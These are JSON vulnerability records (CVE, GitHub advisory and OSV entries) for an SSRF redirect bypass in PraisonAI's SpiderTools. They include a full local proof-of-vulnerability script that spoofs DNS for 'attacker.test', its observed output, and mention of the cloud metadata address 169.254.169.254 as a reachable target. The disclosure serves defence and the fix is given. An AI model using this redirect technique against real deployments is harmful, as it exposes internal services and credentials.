{
  "affected": [
    {
      "affectedData": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.59"
            }
          ]
        },
        {
          "product": "praisonaiagents",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.6.59"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, SpiderTools.scrape_page validates only the initial URL and lets requests.Session.get follow redirects automatically, so a public-looking URL can redirect to a loopback, private, link-local, or metadata address without revalidation. The redirected response body is returned through scrape_page and its extract_links, crawl, and extract_text callers, allowing disclosure from otherwise blocked services. This issue is fixed in praisonaiagents 1.6.59."
    }
  ],
  "id": "CVE-2026-57115",
  "lastModified": "2026-09-15T14:45:28.563",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-57115",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-14T16:14:28.824339Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-14T15:17:05.450",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/b4270173d4123fb1ee8910588f0896668ee21b59"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.59"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:55:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n    return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI\u0027s initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:\u003cport\u003e/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI\u0027s initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n    module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n    if module_file:\n        spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n        if spec is None or spec.loader is None:\n            raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n        module = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(module)\n        return module.SpiderTools\n\n    from praisonaiagents.tools.spider_tools import SpiderTools\n\n    return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"SPIDER-INTERNAL-SECRET\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef _called_from_spider_host_guard() -\u003e bool:\n    return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: ignore[attr-defined]\n    redirect_port = redirect.server_address[1]\n\n    threading.Thread(target=internal.serve_forever, daemon=True).start()\n    threading.Thread(target=redirect.serve_forever, daemon=True).start()\n\n    original_getaddrinfo = socket.getaddrinfo\n\n    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):\n        if host == \"attacker.test\":\n            if _called_from_spider_host_guard():\n                return [\n                    (\n                        socket.AF_INET,\n                        socket.SOCK_STREAM,\n                        6,\n                        \"\",\n                        (\"93.184.216.34\", port),\n                    )\n                ]\n            return original_getaddrinfo(\"127.0.0.1\", port, *args, **kwargs)\n        return original_getaddrinfo(host, port, *args, **kwargs)\n\n    tool = _load_spider_tools_class()()\n    socket.getaddrinfo = fake_getaddrinfo\n    try:\n        direct_control = tool.scrape_page(\n            f\"http://127.0.0.1:{internal_port}/secret\",\n            timeout=5,\n        )\n        redirect_result = tool.scrape_page(\n            f\"http://attacker.test:{redirect_port}/go\",\n            timeout=5,\n        )\n        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n\n        redirect.hit = False  # type: ignore[attr-defined]\n        internal.hit = False  # type: ignore[attr-defined]\n\n        import requests\n\n        original_session_get = requests.Session.get\n\n        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]\n            kwargs.setdefault(\"allow_redirects\", False)\n            return original_session_get(self, url, **kwargs)\n\n        requests.Session.get = no_redirect_get\n        try:\n            no_redirect_control = _load_spider_tools_class()().scrape_page(\n                f\"http://attacker.test:{redirect_port}/go\",\n                timeout=5,\n            )\n        finally:\n            requests.Session.get = original_session_get\n        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]\n        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]\n    finally:\n        socket.getaddrinfo = original_getaddrinfo\n        redirect.shutdown()\n        internal.shutdown()\n        redirect.server_close()\n        internal.server_close()\n\n    print(\"DIRECT_CONTROL:\", direct_control)\n    print(\"REDIRECT_RESULT:\", redirect_result)\n    print(\"REDIRECT_SERVER_HIT:\", vulnerable_redirect_hit)\n    print(\"INTERNAL_SERVER_HIT:\", vulnerable_internal_hit)\n    print(\"NO_REDIRECT_CONTROL:\", no_redirect_control)\n    print(\"NO_REDIRECT_SERVER_HIT:\", no_redirect_redirect_hit)\n    print(\"NO_REDIRECT_INTERNAL_HIT:\", no_redirect_internal_hit)\n\n    if not isinstance(direct_control, dict) or \"dangerous URL\" not in str(direct_control):\n        raise SystemExit(\"control failed: direct loopback was not blocked\")\n    if not isinstance(redirect_result, dict) or \"error\" in redirect_result:\n        raise SystemExit(f\"bypass failed: unexpected result {redirect_result!r}\")\n    if \"SPIDER-INTERNAL-SECRET\" not in str(redirect_result.get(\"content\", \"\")):\n        raise SystemExit(\"bypass failed: internal body was not returned\")\n    if not vulnerable_redirect_hit or not vulnerable_internal_hit:\n        raise SystemExit(\"bypass failed: expected local servers were not hit\")\n    if not no_redirect_redirect_hit or no_redirect_internal_hit:\n        raise SystemExit(\"fix control failed: no-redirect mode reached internal service\")\n\n    print(\"PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nRun:\n\n```fish\ncd /Users/rexliu/Documents/GA\\ code/REDit\\ Deployment/stack/deploy\nenv PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \\\n  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \\\n  poc_spider_tools_redirect_ssrf.py\n```\n\nObserved on current main:\n\n```text\nDIRECT_CONTROL: {\u0027error\u0027: \u0027Invalid or potentially dangerous URL: http://127.0.0.1:\u003cport\u003e/secret\u0027}\nREDIRECT_RESULT: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 200, ... \u0027content\u0027: \u0027SPIDER-INTERNAL-SECRET\u0027, ...}\nREDIRECT_SERVER_HIT: True\nINTERNAL_SERVER_HIT: True\nNO_REDIRECT_CONTROL: {\u0027url\u0027: \u0027http://attacker.test:\u003cport\u003e/go\u0027, \u0027status_code\u0027: 302, ... \u0027Location\u0027: \u0027http://127.0.0.1:\u003cport\u003e/secret\u0027, ...}\nNO_REDIRECT_SERVER_HIT: True\nNO_REDIRECT_INTERNAL_HIT: False\nPRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback\n```\n\nThe direct control proves direct loopback is blocked. The redirect result proves\nthe same blocked destination is reached through a public-looking initial URL.\nThe no-redirect control proves that disabling automatic redirects prevents the\ninternal request while still receiving the external redirect response.\n\n## Why this is not intended behavior\n\nThe Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and\n`extract_text` refuse dangerous URLs before network requests. The documented\nblocked classes include loopback, private/reserved IPs, link-local/cloud\nmetadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling\nforms. The same page states the validation is always on for bundled spider tools\nand does not require `enable_security()`.\n\nThe current code also documents `_validate_url()` as URL validation \"to prevent\nSSRF attacks.\" A redirect to a loopback target bypasses that documented\nprotection.\n\n## Impact\n\nAn attacker who can influence a URL passed to `scrape_page()`,\n`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process\nto request destinations that SpiderTools is designed to block.\n\nPotential impact includes:\n\n- reading loopback-only HTTP services;\n- probing or reading private network services reachable from the PraisonAI host;\n- reading link-local/cloud metadata endpoints if reachable in the deployment\n  environment.\n\nThe PoV demonstrates returned response-body disclosure from a loopback-only\nservice. This report does not claim arbitrary code execution or live cloud\ncredential theft without deployment-specific evidence.\n\n## Severity\n\nSuggested default severity: Moderate.\n\nHigh severity may be appropriate for deployments where untrusted users can\ndirectly invoke SpiderTools through a network-facing agent, bot, API, or MCP\nservice and sensitive internal or metadata services are reachable.\n\n## Suggested fix\n\nDisable automatic redirects in `scrape_page()`:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl,\n    allow_redirects=False,\n)\n```\n\nIf redirects should remain supported, follow them manually and validate every\n`Location` target before each hop using the same SSRF guard:\n\n- require `http` or `https`;\n- resolve and validate every redirect hostname;\n- reject loopback, private, link-local, reserved, multicast, unspecified,\n  internal, and metadata destinations;\n- cap redirect count;\n- apply the same safe fetch path to `scrape_page()`, `extract_links()`,\n  `crawl()`, and `extract_text()`.\n\nRegression tests should cover direct loopback rejection, public-to-loopback\nredirect rejection, public-to-public redirects if supported, and all\n`scrape_page()` callers.",
  "id": "GHSA-6h9p-93hq-q7h6",
  "modified": "2026-07-20T21:24:09Z",
  "published": "2026-06-18T13:55:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h9p-93hq-q7h6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SpiderTools redirect-target SSRF protection bypass"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents",
        "purl": "pkg:pypi/praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.100",
        "0.0.101",
        "0.0.102",
        "0.0.103",
        "0.0.104",
        "0.0.105",
        "0.0.106",
        "0.0.107",
        "0.0.108",
        "0.0.109",
        "0.0.11",
        "0.0.110",
        "0.0.111",
        "0.0.112",
        "0.0.113",
        "0.0.114",
        "0.0.115",
        "0.0.116",
        "0.0.117",
        "0.0.118",
        "0.0.119",
        "0.0.12",
        "0.0.120",
        "0.0.121",
        "0.0.122",
        "0.0.123",
        "0.0.124",
        "0.0.125",
        "0.0.126",
        "0.0.127",
        "0.0.128",
        "0.0.129",
        "0.0.13",
        "0.0.130",
        "0.0.131",
        "0.0.132",
        "0.0.133",
        "0.0.134",
        "0.0.135",
        "0.0.136",
        "0.0.137",
        "0.0.138",
        "0.0.139",
        "0.0.14",
        "0.0.140",
        "0.0.141",
        "0.0.142",
        "0.0.143",
        "0.0.144",
        "0.0.145",
        "0.0.146",
        "0.0.147",
        "0.0.148",
        "0.0.149",
        "0.0.15",
        "0.0.150",
        "0.0.151",
        "0.0.152",
        "0.0.153",
        "0.0.154",
        "0.0.155",
        "0.0.156",
        "0.0.157",
        "0.0.158",
        "0.0.159",
        "0.0.16",
        "0.0.160",
        "0.0.161",
        "0.0.162",
        "0.0.163",
        "0.0.164",
        "0.0.165",
        "0.0.166",
        "0.0.167",
        "0.0.168",
        "0.0.169",
        "0.0.17",
        "0.0.170",
        "0.0.171",
        "0.0.172",
        "0.0.173",
        "0.0.174",
        "0.0.175",
        "0.0.176",
        "0.0.177",
        "0.0.178",
        "0.0.179",
        "0.0.18",
        "0.0.180",
        "0.0.181",
        "0.0.182",
        "0.0.183",
        "0.0.184",
        "0.0.185",
        "0.0.187",
        "0.0.188",
        "0.0.189",
        "0.0.19",
        "0.0.190",
        "0.0.191",
        "0.0.192",
        "0.0.193",
        "0.0.194",
        "0.0.195",
        "0.0.196",
        "0.0.197",
        "0.0.198",
        "0.0.199",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.51",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.6",
        "0.0.60",
        "0.0.61",
        "0.0.62",
        "0.0.63",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.75",
        "0.0.76",
        "0.0.77",
        "0.0.78",
        "0.0.79",
        "0.0.8",
        "0.0.80",
        "0.0.81",
        "0.0.82",
        "0.0.83",
        "0.0.84",
        "0.0.85",
        "0.0.86",
        "0.0.87",
        "0.0.88",
        "0.0.89",
        "0.0.9",
        "0.0.90",
        "0.0.91",
        "0.0.92",
        "0.0.93",
        "0.0.94",
        "0.0.95",
        "0.0.96",
        "0.0.97",
        "0.0.98",
        "0.0.99",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.11",
        "0.1.12",
        "0.1.13",
        "0.1.14",
        "0.1.15",
        "0.1.16",
        "0.1.17",
        "0.1.18",
        "0.1.19",
        "0.1.2",
        "0.1.20",
        "0.1.21",
        "0.1.22",
        "0.1.23",
        "0.1.24",
        "0.1.25",
        "0.1.26",
        "0.1.27",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.10.0",
        "0.10.1",
        "0.10.10",
        "0.10.2",
        "0.10.3",
        "0.10.4",
        "0.10.5",
        "0.10.6",
        "0.10.7",
        "0.10.8",
        "0.10.9",
        "0.11.0",
        "0.11.1",
        "0.11.10",
        "0.11.11",
        "0.11.12",
        "0.11.13",
        "0.11.14",
        "0.11.15",
        "0.11.16",
        "0.11.17",
        "0.11.18",
        "0.11.19",
        "0.11.2",
        "0.11.20",
        "0.11.21",
        "0.11.22",
        "0.11.23",
        "0.11.24",
        "0.11.25",
        "0.11.27",
        "0.11.28",
        "0.11.29",
        "0.11.3",
        "0.11.30",
        "0.11.31",
        "0.11.4",
        "0.11.5",
        "0.11.6",
        "0.11.7",
        "0.11.8",
        "0.11.9",
        "0.12.0",
        "0.12.1",
        "0.12.10",
        "0.12.11",
        "0.12.12",
        "0.12.13",
        "0.12.14",
        "0.12.15",
        "0.12.16",
        "0.12.17",
        "0.12.18",
        "0.12.19",
        "0.12.2",
        "0.12.20",
        "0.12.21",
        "0.12.3",
        "0.12.4",
        "0.12.5",
        "0.12.6",
        "0.12.7",
        "0.12.8",
        "0.12.9",
        "0.13.0",
        "0.13.1",
        "0.13.10",
        "0.13.11",
        "0.13.12",
        "0.13.13",
        "0.13.14",
        "0.13.15",
        "0.13.16",
        "0.13.17",
        "0.13.18",
        "0.13.19",
        "0.13.2",
        "0.13.20",
        "0.13.21",
        "0.13.22",
        "0.13.23",
        "0.13.3",
        "0.13.4",
        "0.13.5",
        "0.13.6",
        "0.13.7",
        "0.13.8",
        "0.13.9",
        "0.14.0",
        "0.14.1",
        "0.14.10",
        "0.14.11",
        "0.14.12",
        "0.14.14",
        "0.14.15",
        "0.14.16",
        "0.14.2",
        "0.14.3",
        "0.14.4",
        "0.14.5",
        "0.14.6",
        "0.14.7",
        "0.14.8",
        "0.14.9",
        "0.15.0",
        "0.15.1",
        "0.15.2",
        "0.15.3",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.4.0",
        "0.4.1",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.6.3",
        "0.6.4",
        "0.6.5",
        "0.6.6",
        "0.6.7",
        "0.6.8",
        "0.7.0",
        "0.7.1",
        "0.8.0",
        "0.8.1",
        "0.9.0",
        "0.9.1",
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.3",
        "1.2.4",
        "1.3.0",
        "1.3.1",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.5",
        "1.4.6",
        "1.4.7",
        "1.4.8",
        "1.5.0",
        "1.5.1",
        "1.5.10",
        "1.5.100",
        "1.5.101",
        "1.5.102",
        "1.5.103",
        "1.5.104",
        "1.5.105",
        "1.5.106",
        "1.5.107",
        "1.5.108",
        "1.5.109",
        "1.5.11",
        "1.5.110",
        "1.5.111",
        "1.5.112",
        "1.5.113",
        "1.5.114",
        "1.5.115",
        "1.5.116",
        "1.5.117",
        "1.5.118",
        "1.5.119",
        "1.5.12",
        "1.5.120",
        "1.5.121",
        "1.5.122",
        "1.5.123",
        "1.5.124",
        "1.5.125",
        "1.5.126",
        "1.5.127",
        "1.5.128",
        "1.5.129",
        "1.5.13",
        "1.5.130",
        "1.5.131",
        "1.5.132",
        "1.5.133",
        "1.5.134",
        "1.5.135",
        "1.5.136",
        "1.5.137",
        "1.5.138",
        "1.5.139",
        "1.5.14",
        "1.5.140",
        "1.5.141",
        "1.5.142",
        "1.5.143",
        "1.5.144",
        "1.5.145",
        "1.5.146",
        "1.5.147",
        "1.5.148",
        "1.5.149",
        "1.5.15",
        "1.5.16",
        "1.5.17",
        "1.5.18",
        "1.5.19",
        "1.5.2",
        "1.5.20",
        "1.5.21",
        "1.5.22",
        "1.5.23",
        "1.5.24",
        "1.5.25",
        "1.5.26",
        "1.5.27",
        "1.5.28",
        "1.5.29",
        "1.5.3",
        "1.5.30",
        "1.5.31",
        "1.5.32",
        "1.5.33",
        "1.5.34",
        "1.5.35",
        "1.5.36",
        "1.5.37",
        "1.5.38",
        "1.5.39",
        "1.5.40",
        "1.5.41",
        "1.5.42",
        "1.5.43",
        "1.5.44",
        "1.5.45",
        "1.5.46",
        "1.5.47",
        "1.5.48",
        "1.5.49",
        "1.5.5",
        "1.5.50",
        "1.5.51",
        "1.5.52",
        "1.5.53",
        "1.5.54",
        "1.5.55",
        "1.5.56",
        "1.5.57",
        "1.5.58",
        "1.5.59",
        "1.5.6",
        "1.5.60",
        "1.5.61",
        "1.5.62",
        "1.5.63",
        "1.5.64",
        "1.5.65",
        "1.5.66",
        "1.5.67",
        "1.5.68",
        "1.5.69",
        "1.5.7",
        "1.5.70",
        "1.5.71",
        "1.5.72",
        "1.5.73",
        "1.5.74",
        "1.5.75",
        "1.5.76",
        "1.5.77",
        "1.5.78",
        "1.5.79",
        "1.5.8",
        "1.5.80",
        "1.5.81",
        "1.5.82",
        "1.5.83",
        "1.5.84",
        "1.5.85",
        "1.5.86",
        "1.5.87",
        "1.5.88",
        "1.5.89",
        "1.5.9",
        "1.5.90",
        "1.5.91",
        "1.5.92",
        "1.5.93",
        "1.5.94",
        "1.5.95",
        "1.5.96",
        "1.5.97",
        "1.5.98",
        "1.5.99",
        "1.6.1",
        "1.6.10",
        "1.6.11",
        "1.6.12",
        "1.6.13",
        "1.6.14",
        "1.6.15",
        "1.6.16",
        "1.6.17",
        "1.6.18",
        "1.6.19",
        "1.6.2",
        "1.6.20",
        "1.6.21",
        "1.6.22",
        "1.6.23",
        "1.6.24",
        "1.6.25",
        "1.6.26",
        "1.6.27",
        "1.6.28",
        "1.6.29",
        "1.6.3",
        "1.6.30",
        "1.6.31",
        "1.6.32",
        "1.6.33",
        "1.6.34",
        "1.6.35",
        "1.6.36",
        "1.6.37",
        "1.6.38",
        "1.6.39",
        "1.6.4",
        "1.6.40",
        "1.6.41",
        "1.6.42",
        "1.6.43",
        "1.6.44",
        "1.6.45",
        "1.6.46",
        "1.6.47",
        "1.6.48",
        "1.6.5",
        "1.6.50",
        "1.6.51",
        "1.6.52",
        "1.6.53",
        "1.6.54",
        "1.6.55",
        "1.6.56",
        "1.6.57",
        "1.6.58",
        "1.6.6",
        "1.6.7",
        "1.6.8",
        "1.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57115",
    "GHSA-6h9p-93hq-q7h6"
  ],
  "details": "# SpiderTools redirect-target SSRF protection bypass\n\n## Summary\n\n`SpiderTools.scrape_page()` validates the initial URL and rejects direct\nloopback, private, link-local, metadata, and internal hostnames. It then calls\n`requests.Session.get()` without disabling automatic redirects or validating\nredirect `Location` targets.\n\nRequests follows redirects by default for GET requests. A safe-looking public\nURL can therefore pass `_validate_url()`, redirect to a blocked target such as\n`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed\nand returned by `scrape_page()`.\n\nThe same sink is used by `extract_links()`, `crawl()`, and `extract_text()`\nthrough their calls to `scrape_page()`.\n\n## Affected component\n\n```text\nsrc/praisonai-agents/praisonaiagents/tools/spider_tools.py\n```\n\nTested affected:\n\n- `v3.9.24` / `d08d98ca`\n- `v3.9.26` / `62472a23`\n- `v4.6.56` / `d3c4a2af`\n- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`\n- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n\nNo patched version is known at report time.\n\n## Root cause\n\nCurrent main validates only the caller-supplied URL:\n\n```python\nif not self._validate_url(url):\n    return {\"error\": f\"Invalid or potentially dangerous URL: {url}\"}\n```\n\nThe fetch then uses Requests defaults:\n\n```python\nresponse = session.get(\n    url,\n    timeout=timeout,\n    verify=verify_ssl\n)\n```\n\nBecause `allow_redirects=False` is not set, Requests follows a 3xx redirect to a\nnew destination that has not been checked by `_validate_url()` or\n`_host_is_blocked()`.\n\n## Proof of vulnerability\n\nThe PoV below is local-only and does not contact external infrastructure. It\nstarts a loopback-only internal service and a local redirector. During\nPraisonAI\u0027s initial host validation, `attacker.test` is made to look like a\npublic address. During the actual HTTP request, it routes to the local\nredirector, which returns `302 Location: http://127.0.0.1:\u003cport\u003e/secret`.\n\nFull PoV:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for SpiderTools redirect-target SSRF.\n\nThis uses only loopback services. The \"attacker\" hostname is treated as public\nduring PraisonAI\u0027s initial URL validation, then routed to a local redirector so\nthe PoV does not contact external infrastructure. The redirector points at a\nloopback-only internal service. Vulnerable behavior is confirmed when\nSpiderTools follows that redirect and returns the internal response body.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport http.server\nimport importlib.util\nimport inspect\nimport os\nimport socket\nimport socketserver\nimport threading\nfrom typing import Any\n\n\ndef _load_spider_tools_class():\n    module_file = os.environ.get(\"PRAISONAI_SPIDER_TOOLS_FILE\")\n    if module_file:\n        spec = importlib.util.spec_from_file_location(\"pov_spider_tools\", module_file)\n        if spec is None or spec.loader is None:\n            raise RuntimeError(f\"Could not load spider_tools file: {module_file}\")\n        module = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(module)\n        return module.SpiderTools\n\n    from praisonaiagents.tools.spider_tools import SpiderTools\n\n    return SpiderTools\n\n\nclass InternalHandler(http.server.BaseHTTPRequestHandler):\n    body = b\"SPIDER-INTERNAL-SECRET\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(self.body)))\n        self.end_headers()\n        self.wfile.write(self.body)\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\nclass RedirectHandler(http.server.BaseHTTPRequestHandler):\n    target = \"\"\n\n    def do_GET(self) -\u003e None:  # noqa: N802\n        self.server.hit = True  # type: ignore[attr-defined]\n        self.send_response(302)\n        self.send_header(\"Location\", self.target)\n        self.end_headers()\n\n    def log_message(self, *_args: Any) -\u003e None:\n        return\n\n\ndef _called_from_spider_host_guard() -\u003e bool:\n    return any(frame.function == \"_host_is_blocked\" for frame in inspect.stack())\n\n\ndef main() -\u003e int:\n    os.environ.pop(\"ALLOW_LOCAL_CRAWL\", None)\n\n    internal = socketserver.TCPServer((\"127.0.0.1\", 0), InternalHandler)\n    internal.hit = False  # type: ignore[attr-defined]\n    internal_port = internal.server_address[1]\n\n    RedirectHandler.target = f\"http://127.0.0.1:{internal_port}/secret\"\n    redirect = socketserver.TCPServer((\"127.0.0.1\", 0), RedirectHandler)\n    redirect.hit = False  # type: 